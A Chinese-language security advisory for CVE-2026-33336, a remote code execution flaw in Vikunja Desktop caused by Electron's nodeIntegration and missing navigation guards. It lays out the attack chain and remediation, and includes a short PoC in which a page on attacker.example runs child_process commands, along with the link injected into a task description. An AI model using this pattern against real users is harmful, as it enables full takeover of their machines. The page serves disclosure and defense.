IPBUF安全漏洞报告
English
CVE-2026-33336 CVSS 8.8 高危

CVE-2026-33336 Vikunja Desktop远程代码执行漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33336
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Vikunja Desktop

相关标签

RCE远程代码执行VikunjaElectronNode.jsCVE-2026-33336

漏洞概述

Vikunja Desktop电子桌面端存在远程代码执行漏洞。因启用了Node集成且未限制同窗口导航,攻击者可在任务描述中植入恶意链接。受害者点击链接后,窗口将跳转至攻击者控制页面,JavaScript以Node.js权限执行,导致受害者机器被远程控制,执行任意命令。

技术细节

该漏洞由两个Electron配置错误组合导致:一是`BrowserWindow`启用了`nodeIntegration: true`,赋予渲染进程完整的Node.js API(如`require`、`child_process`)访问权限;二是应用仅拦截`window.open`新窗口请求,未注册`will-navigate`或`will-redirect`事件处理程序拦截同窗口导航。攻击者可在任务描述中插入合法的`<a href>`链接(通过DOMPurify检查)。受害者点击后,窗口在同一进程中跳转至攻击者服务器。此时,恶意JavaScript代码在拥有Node.js集成权限的上下文中执行,直接调用系统命令,从而导致受害者主机被完全控制。

攻击链分析

STEP 1
1. 植入恶意链接
攻击者在Vikunja的任务或项目描述中插入指向恶意服务器的HTML超链接。
STEP 2
2. 渲染与诱导
Vikunja前端渲染该链接,DOMPurify允许该标签通过。攻击者诱导受害者点击该链接。
STEP 3
3. 窗口劫持
受害者点击链接后,由于缺少`will-navigate`保护,BrowserWindow在同一渲染进程中导航至攻击者控制的服务器。
STEP 4
4. 代码执行
恶意页面的JavaScript代码在`nodeIntegration: true`的上下文中执行,调用Node.js API。
STEP 5
5. 获取权限
攻击者成功执行任意系统命令,完全控制受害者机器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Attacker payload hosted on attacker.example/poc.html --> <script> // Execute arbitrary command using Node.js child_process require('child_process').exec('calc.exe'); // Or on Linux: require('child_process').exec('id > /tmp/pwned'); </script> <!-- Link injected in Vikunja task description --> <!-- <a href="https://attacker.example/poc.html">Meeting notes</a> -->

影响范围

Vikunja Desktop >= 0.21.0, < 2.2.0

防御指南

临时缓解措施
建议用户立即升级至Vikunja Desktop 2.2.0或更高版本。若暂时无法升级,应避免点击Vikunja中不可信的链接,特别是来自第三方用户的描述内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表